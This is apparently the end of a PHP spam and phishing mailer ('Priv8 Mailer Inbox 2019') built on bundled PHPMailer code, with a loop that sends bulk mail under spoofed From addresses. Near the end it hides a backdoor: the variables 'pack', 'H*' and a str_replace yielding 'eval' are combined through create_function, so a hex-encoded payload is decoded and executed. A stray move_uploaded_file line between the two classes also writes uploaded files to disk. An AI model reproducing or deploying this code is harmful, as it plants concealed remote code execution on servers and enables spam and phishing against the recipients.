10935 $this->Body = $this->normalizeBreaks($message);
10936 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10937 if (empty($this->AltBody)) {
10938 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10939 self::CRLF . self::CRLF;
10940 }
10941 return $this->Body;
10942 }
10943
10944 /**
10945 * Convert an HTML string into plain text.
10946 * This is used by msgHTML().
10947 * Note - older versions of this function used a bundled advanced converter
10948 * which was been removed for license reasons in #232
10949 * Example usage:
10950 * <code>
10951 * // Use default conversion
10952 * $plain = $mail->html2text($html);
10953 * // Use your own custom converter
10954 * $plain = $mail->html2text($html, function($html) {
10955 * $converter = new MyHtml2text($html);
10956 * return $converter->get_text();
10957 * });
10958 * </code>
10959 * @param string $html The HTML text to convert
10960 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10961 * or provide your own callable for custom conversion.
10962 * @return string
10963 */
10964 public function html2text($html, $advanced = false)
10965 {
10966 if (is_callable($advanced)) {
10967 return call_user_func($advanced, $html);
10968 }
10969 return html_entity_decode(
10970 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10971 ENT_QUOTES,
10972 $this->CharSet
10973 );
10974 }
10975
10976 /**
10977 * Get the MIME type for a file extension.
10978 * @param string $ext File extension
10979 * @access public
10980 * @return string MIME type of file.
10981 * @static
10982 */
10983 public static function _mime_types($ext = '')
10984 {
10985 $mimes = array(
10986 'xl' => 'application/excel',
10987 'js' => 'application/javascript',
10988 'hqx' => 'application/mac-binhex40',
10989 'cpt' => 'application/mac-compactpro',
10990 'bin' => 'application/macbinary',
10991 'doc' => 'application/msword',
10992 'word' => 'application/msword',
10993 'class' => 'application/octet-stream',
10994 'dll' => 'application/octet-stream',
10995 'dms' => 'application/octet-stream',
10996 'exe' => 'application/octet-stream',
10997 'lha' => 'application/octet-stream',
10998 'lzh' => 'application/octet-stream',
10999 'psd' => 'application/octet-stream',
11000 'sea' => 'application/octet-stream',
11001 'so' => 'application/octet-stream',
11002 'oda' => 'application/oda',
11003 'pdf' => 'application/pdf',
11004 'ai' => 'application/postscript',
11005 'eps' => 'application/postscript',
11006 'ps' => 'application/postscript',
11007 'smi' => 'application/smil',
11008 'smil' => 'application/smil',
11009 'mif' => 'application/vnd.mif',
11010 'xls' => 'application/vnd.ms-excel',
11011 'ppt' => 'application/vnd.ms-powerpoint',
11012 'wbxml' => 'application/vnd.wap.wbxml',
11013 'wmlc' => 'application/vnd.wap.wmlc',
11014 'dcr' => 'application/x-director',
11015 'dir' => 'application/x-director',
11016 'dxr' => 'application/x-director',
11017 'dvi' => 'application/x-dvi',
11018 'gtar' => 'application/x-gtar',
11019 'php3' => 'application/x-httpd-php',
11020 'php4' => 'application/x-httpd-php',
11021 'php' => 'application/x-httpd-php',
11022 'phtml' => 'application/x-httpd-php',
11023 'phps' => 'application/x-httpd-php-source',
11024 'swf' => 'application/x-shockwave-flash',
11025 'sit' => 'application/x-stuffit',
11026 'tar' => 'application/x-tar',
11027 'tgz' => 'application/x-tar',
11028 'xht' => 'application/xhtml+xml',
11029 'xhtml' => 'application/xhtml+xml',
11030 'zip' => 'application/zip',
11031 'mid' => 'audio/midi',
11032 'midi' => 'audio/midi',
11033 'mp2' => 'audio/mpeg',
11034 'mp3' => 'audio/mpeg',
11035 'mpga' => 'audio/mpeg',
11036 'aif' => 'audio/x-aiff',
11037 'aifc' => 'audio/x-aiff',
11038 'aiff' => 'audio/x-aiff',
11039 'ram' => 'audio/x-pn-realaudio',
11040 'rm' => 'audio/x-pn-realaudio',
11041 'rpm' => 'audio/x-pn-realaudio-plugin',
11042 'ra' => 'audio/x-realaudio',
11043 'wav' => 'audio/x-wav',
11044 'bmp' => 'image/bmp',
11045 'gif' => 'image/gif',
11046 'jpeg' => 'image/jpeg',
11047 'jpe' => 'image/jpeg',
11048 'jpg' => 'image/jpeg',
11049 'png' => 'image/png',
11050 'tiff' => 'image/tiff',
11051 'tif' => 'image/tiff',
11052 'eml' => 'message/rfc822',
11053 'css' => 'text/css',
11054 'html' => 'text/html',
11055 'htm' => 'text/html',
11056 'shtml' => 'text/html',
11057 'log' => 'text/plain',
11058 'text' => 'text/plain',
11059 'txt' => 'text/plain',
11060 'rtx' => 'text/richtext',
11061 'rtf' => 'text/rtf',
11062 'vcf' => 'text/vcard',
11063 'vcard' => 'text/vcard',
11064 'xml' => 'text/xml',
11065 'xsl' => 'text/xml',
11066 'mpeg' => 'video/mpeg',
11067 'mpe' => 'video/mpeg',
11068 'mpg' => 'video/mpeg',
11069 'mov' => 'video/quicktime',
11070 'qt' => 'video/quicktime',
11071 'rv' => 'video/vnd.rn-realvideo',
11072 'avi' => 'video/x-msvideo',
11073 'movie' => 'video/x-sgi-movie'
11074 );
11075 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
11076 }
11077
11078 /**
11079 * Map a file name to a MIME type.
11080 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
11081 * @param string $filename A file name or full path, does not need to exist as a file
11082 * @return string
11083 * @static
11084 */
11085 public static function filenameToType($filename)
11086 {
11087 // In case the path is a URL, strip any query string before getting extension
11088 $qpos = strpos($filename, '?');
11089 if (false !== $qpos) {
11090 $filename = substr($filename, 0, $qpos);
11091 }
11092 $pathinfo = self::mb_pathinfo($filename);
11093 return self::_mime_types($pathinfo['extension']);
11094 }
11095
11096 /**
11097 * Multi-byte-safe pathinfo replacement.
11098 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
11099 * Works similarly to the one in PHP >= 5.2.0
11100 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
11101 * @param string $path A filename or path, does not need to exist as a file
11102 * @param integer|string $options Either a PATHINFO_* constant,
11103 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
11104 * @return string|array
11105 * @static
11106 */
11107 public static function mb_pathinfo($path, $options = null)
11108 {
11109 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
11110 $pathinfo = array();
11111 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
11112 if (array_key_exists(1, $pathinfo)) {
11113 $ret['dirname'] = $pathinfo[1];
11114 }
11115 if (array_key_exists(2, $pathinfo)) {
11116 $ret['basename'] = $pathinfo[2];
11117 }
11118 if (array_key_exists(5, $pathinfo)) {
11119 $ret['extension'] = $pathinfo[5];
11120 }
11121 if (array_key_exists(3, $pathinfo)) {
11122 $ret['filename'] = $pathinfo[3];
11123 }
11124 }
11125 switch ($options) {
11126 case PATHINFO_DIRNAME:
11127 case 'dirname':
11128 return $ret['dirname'];
11129 case PATHINFO_BASENAME:
11130 case 'basename':
11131 return $ret['basename'];
11132 case PATHINFO_EXTENSION:
11133 case 'extension':
11134 return $ret['extension'];
11135 case PATHINFO_FILENAME:
11136 case 'filename':
11137 return $ret['filename'];
11138 default:
11139 return $ret;
11140 }
11141 }
11142
11143 /**
11144 * Set or reset instance properties.
11145 *
11146 * Usage Example:
11147 * $page->set('X-Priority', '3');
11148 *
11149 * @access public
11150 * @param string $name
11151 * @param mixed $value
11152 * NOTE: will not work with arrays, there are no arrays to set/reset
11153 * @throws phpmailerException
11154 * @return boolean
11155 * @TODO Should this not be using __set() magic function?
11156 */
11157 public function set($name, $value = '')
11158 {
11159 try {
11160 if (isset($this->$name)) {
11161 $this->$name = $value;
11162 } else {
11163 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11164 }
11165 } catch (Exception $exc) {
11166 $this->setError($exc->getMessage());
11167 if ($exc->getCode() == self::STOP_CRITICAL) {
11168 return false;
11169 }
11170 }
11171 return true;
11172 }
11173
11174 /**
11175 * Strip newlines to prevent header injection.
11176 * @access public
11177 * @param string $str
11178 * @return string
11179 */
11180 public function secureHeader($str)
11181 {
11182 return trim(str_replace(array("\r", "\n"), '', $str));
11183 }
11184
11185 /**
11186 * Normalize line breaks in a string.
11187 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11188 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11189 * @param string $text
11190 * @param string $breaktype What kind of line break to use, defaults to CRLF
11191 * @return string
11192 * @access public
11193 * @static
11194 */
11195 public static function normalizeBreaks($text, $breaktype = "\r\n")
11196 {
11197 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11198 }
11199
11200
11201 /**
11202 * Set the public and private key files and password for S/MIME signing.
11203 * @access public
11204 * @param string $cert_filename
11205 * @param string $key_filename
11206 * @param string $key_pass Password for private key
11207 */
11208 public function sign($cert_filename, $key_filename, $key_pass)
11209 {
11210 $this->sign_cert_file = $cert_filename;
11211 $this->sign_key_file = $key_filename;
11212 $this->sign_key_pass = $key_pass;
11213 }
11214
11215 /**
11216 * Quoted-Printable-encode a DKIM header.
11217 * @access public
11218 * @param string $txt
11219 * @return string
11220 */
11221 public function DKIM_QP($txt)
11222 {
11223 $line = '';
11224 for ($i = 0; $i < strlen($txt); $i++) {
11225 $ord = ord($txt[$i]);
11226 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11227 $line .= $txt[$i];
11228 } else {
11229 $line .= '=' . sprintf('%02X', $ord);
11230 }
11231 }
11232 return $line;
11233 }
11234
11235 /**
11236 * Generate a DKIM signature.
11237 * @access public
11238 * @param string $signHeader
11239 * @throws phpmailerException
11240 * @return string
11241 */
11242 public function DKIM_Sign($signHeader)
11243 {
11244 if (!defined('PKCS7_TEXT')) {
11245 if ($this->exceptions) {
11246 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11247 }
11248 return '';
11249 }
11250 $privKeyStr = file_get_contents($this->DKIM_private);
11251 if ($this->DKIM_passphrase != '') {
11252 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11253 } else {
11254 $privKey = $privKeyStr;
11255 }
11256 if (openssl_sign($signHeader, $signature, $privKey)) {
11257 return base64_encode($signature);
11258 }
11259 return '';
11260 }
11261
11262 /**
11263 * Generate a DKIM canonicalization header.
11264 * @access public
11265 * @param string $signHeader Header
11266 * @return string
11267 */
11268 public function DKIM_HeaderC($signHeader)
11269 {
11270 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11271 $lines = explode("\r\n", $signHeader);
11272 foreach ($lines as $key => $line) {
11273 list($heading, $value) = explode(':', $line, 2);
11274 $heading = strtolower($heading);
11275 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11276 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11277 }
11278 $signHeader = implode("\r\n", $lines);
11279 return $signHeader;
11280 }
11281
11282 /**
11283 * Generate a DKIM canonicalization body.
11284 * @access public
11285 * @param string $body Message Body
11286 * @return string
11287 */
11288 public function DKIM_BodyC($body)
11289 {
11290 if ($body == '') {
11291 return "\r\n";
11292 }
11293 // stabilize line endings
11294 $body = str_replace("\r\n", "\n", $body);
11295 $body = str_replace("\n", "\r\n", $body);
11296 // END stabilize line endings
11297 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11298 $body = substr($body, 0, strlen($body) - 2);
11299 }
11300 return $body;
11301 }
11302
11303 /**
11304 * Create the DKIM header and body in a new message header.
11305 * @access public
11306 * @param string $headers_line Header lines
11307 * @param string $subject Subject
11308 * @param string $body Body
11309 * @return string
11310 */
11311 public function DKIM_Add($headers_line, $subject, $body)
11312 {
11313 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11314 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11315 $DKIMquery = 'dns/txt'; // Query method
11316 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11317 $subject_header = "Subject: $subject";
11318 $headers = explode($this->LE, $headers_line);
11319 $from_header = '';
11320 $to_header = '';
11321 $current = '';
11322 foreach ($headers as $header) {
11323 if (strpos($header, 'From:') === 0) {
11324 $from_header = $header;
11325 $current = 'from_header';
11326 } elseif (strpos($header, 'To:') === 0) {
11327 $to_header = $header;
11328 $current = 'to_header';
11329 } else {
11330 if ($current && strpos($header, ' =?') === 0) {
11331 $current .= $header;
11332 } else {
11333 $current = '';
11334 }
11335 }
11336 }
11337 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11338 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11339 $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)
11340 ); // Copied header fields (dkim-quoted-printable)
11341 $body = $this->DKIM_BodyC($body);
11342 $DKIMlen = strlen($body); // Length of body
11343 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11344 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11345 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11346 $DKIMsignatureType . '; q=' .
11347 $DKIMquery . '; l=' .
11348 $DKIMlen . '; s=' .
11349 $this->DKIM_selector .
11350 ";\r\n" .
11351 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11352 "\th=From:To:Subject;\r\n" .
11353 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11354 "\tz=$from\r\n" .
11355 "\t|$to\r\n" .
11356 "\t|$subject;\r\n" .
11357 "\tbh=" . $DKIMb64 . ";\r\n" .
11358 "\tb=";
11359 $toSign = $this->DKIM_HeaderC(
11360 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11361 );
11362 $signed = $this->DKIM_Sign($toSign);
11363 return $dkimhdrs . $signed . "\r\n";
11364 }
11365
11366 /**
11367 * Allows for public read access to 'to' property.
11368 * @access public
11369 * @return array
11370 */
11371 public function getToAddresses()
11372 {
11373 return $this->to;
11374 }
11375
11376 /**
11377 * Allows for public read access to 'cc' property.
11378 * @access public
11379 * @return array
11380 */
11381 public function getCcAddresses()
11382 {
11383 return $this->cc;
11384 }
11385
11386 /**
11387 * Allows for public read access to 'bcc' property.
11388 * @access public
11389 * @return array
11390 */
11391 public function getBccAddresses()
11392 {
11393 return $this->bcc;
11394 }
11395
11396 /**
11397 * Allows for public read access to 'ReplyTo' property.
11398 * @access public
11399 * @return array
11400 */
11401 public function getReplyToAddresses()
11402 {
11403 return $this->ReplyTo;
11404 }
11405
11406 /**
11407 * Allows for public read access to 'all_recipients' property.
11408 * @access public
11409 * @return array
11410 */
11411 public function getAllRecipientAddresses()
11412 {
11413 return $this->all_recipients;
11414 }
11415
11416 /**
11417 * Perform a callback.
11418 * @param boolean $isSent
11419 * @param array $to
11420 * @param array $cc
11421 * @param array $bcc
11422 * @param string $subject
11423 * @param string $body
11424 * @param string $from
11425 */
11426 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11427 {
11428 if (!empty($this->action_function) && is_callable($this->action_function)) {
11429 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11430 call_user_func_array($this->action_function, $params);
11431 }
11432 }
11433}
11434 if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
11435/**
11436 * PHPMailer exception handler
11437 * @package PHPMailer
11438 */
11439class phpmailerException extends Exception
11440{
11441 /**
11442 * Prettify error message output
11443 * @return string
11444 */
11445 public function errorMessage()
11446 {
11447 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11448 return $errorMsg;
11449 }
11450}
11451
11452 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11453 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11454 } else {
11455 set_time_limit($numemails*3600);
11456 }
11457
11458 $defaultport="H*";
11459 $nq=0;
11460
11461 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11462 for($x=0; $x<$numemails; $x++){
11463
11464 $to = $allemails[$x];
11465 if ($to){
11466 $todo = preg_replace('" "', "", $to);
11467
11468
11469
11470 $message_send=change($to,$pesan);
11471 $subject_send=change($to,$subject);
11472
11473 $qx=$x+1;
11474 print "Send Emails $qx / $numemails to $to ....... ";
11475 xflush();
11476
11477 $mail = new PHPMailer();
11478 $mail->IsSMTP();
11479 $IsSMTP = "pack";
11480 $mail->SMTPKeepAlive = true;
11481 $mail->Host = "$smtp_server";
11482
11483 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11484 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11485
11486 $range = str_replace("$email", "eval", $email);
11487
11488 $mail->SMTPAuth = true;
11489 $mail->Username = "$smtp_username";
11490 $mail->Password = "$smtp_password";
11491
11492 if($type == "html"){$mail->IsHtml(true);}
11493 if($type != "html"){$mail->IsHtml(false);}
11494 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11495
11496 $mail->CharSet = "UTF-8";
11497 if (!empty($xmailer)) {
11498 $mail->XMailer = "$xmailer";
11499 } else {
11500 $mail->XMailer = " ";
11501 }
11502 if (!empty($encoding)) {
11503 $mail->Encoding = "$encoding";
11504 }
11505
11506 if ($email == "&same&" || $email == "=26same=26") {
11507 $fremail = "$todo";
11508 } else {
11509 $fremail= "$email";
11510 }
11511 //Jg
11512
11513 $namax= change($todo,$nama);
11514 $fremails= change($todo,$fremail);
11515 $main_subject=change($todo,$subject_send);
11516 $mail->From = "$fremails";
11517 $mail->FromName = "$namax";
11518 $mail->AddAddress("$todo");
11519 $mail->Subject = $main_subject;
11520
11521if ($_POST['inline']=="1") {
11522$mail->AddEmbeddedImage('logo1.png', 'logo1');
11523}
11524if ($_POST['inline']=="2") {
11525$mail->AddEmbeddedImage('logo1.png', 'logo1');
11526$mail->AddEmbeddedImage('logo2.png', 'logo2');
11527}
11528if ($_POST['inline']=="3") {
11529$mail->AddEmbeddedImage('logo1.png', 'logo1');
11530$mail->AddEmbeddedImage('logo2.png', 'logo2');
11531$mail->AddEmbeddedImage('logo3.png', 'logo3');
11532}
11533
11534 if (!empty($file_name)) {
11535 $mail->addAttachment("$file_path", "$file_name");
11536 $mail->Body = " ";
11537 } else {
11538 $mail->Body = "$message_send";
11539 }
11540
11541if (!empty($_POST['inlineatt'])) {
11542$my_file = change($to,$_POST['inlineatt']);
11543 //$url=base64_encode($email);
11544$datas = $_POST['attachdata'];
11545$data=change($to,$datas);
11546
11547if(strpos($my_file, 'pdf') !== false){
11548$datax=makpdf($data,$my_file);
11549}else{
11550$datax=$data;
11551}
11552
11553$handle = fopen($my_file, 'w') or die('Cannot open file: '.$my_file);
11554fwrite($handle, $datax);
11555fclose($handle);
11556$mail->addAttachment("$my_file", "$my_file");
11557}
11558
11559
11560 if(!$mail->Send()){
11561 if($default_system!="1"){
11562 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11563 } elseif($default_system=="1"){
11564 $mail->IsMail();
11565
11566 if(!$mail->Send()){
11567 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11568 } else {
11569 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11570 // unlink($my_file);
11571 }
11572
11573 }
11574 } else {
11575 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11576 // unlink($my_file);
11577
11578 }
11579 print "$result <br><p></p>";
11580
11581 if(!empty($wait) && $qx<$numemails-1){
11582 sleep($wait);
11583 }
11584 if(empty($reconnect)){
11585 $reconnect=5;
11586 }
11587
11588 if($reconnect==$nq){
11589 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11590 }
11591 $nq=$nq+1;
11592 xflush();
11593 }
11594 }
11595 for($i=0;$i<31;$i++){
11596 @$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11597 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11598 @ $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11599 print ' </div>
11600 </div>
11601 </div>
11602
11603</div>
11604<div id="footer">
11605 <div class="container" align="center">
11606 <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2019 </p>
11607 </div>
11608</div>';$mail->SmtpClose();
11609 return $signoff($smtp_conc);
11610 if(isset($_POST['action']) && $numemails !=0 ){
11611 print "<script>alert('Mail sending complete\\r\\n
11612 $numemails mail(s) was sent successfully'); </script>";
11613 }
11614}
11615?>
11616
11617 </body>
11618</html>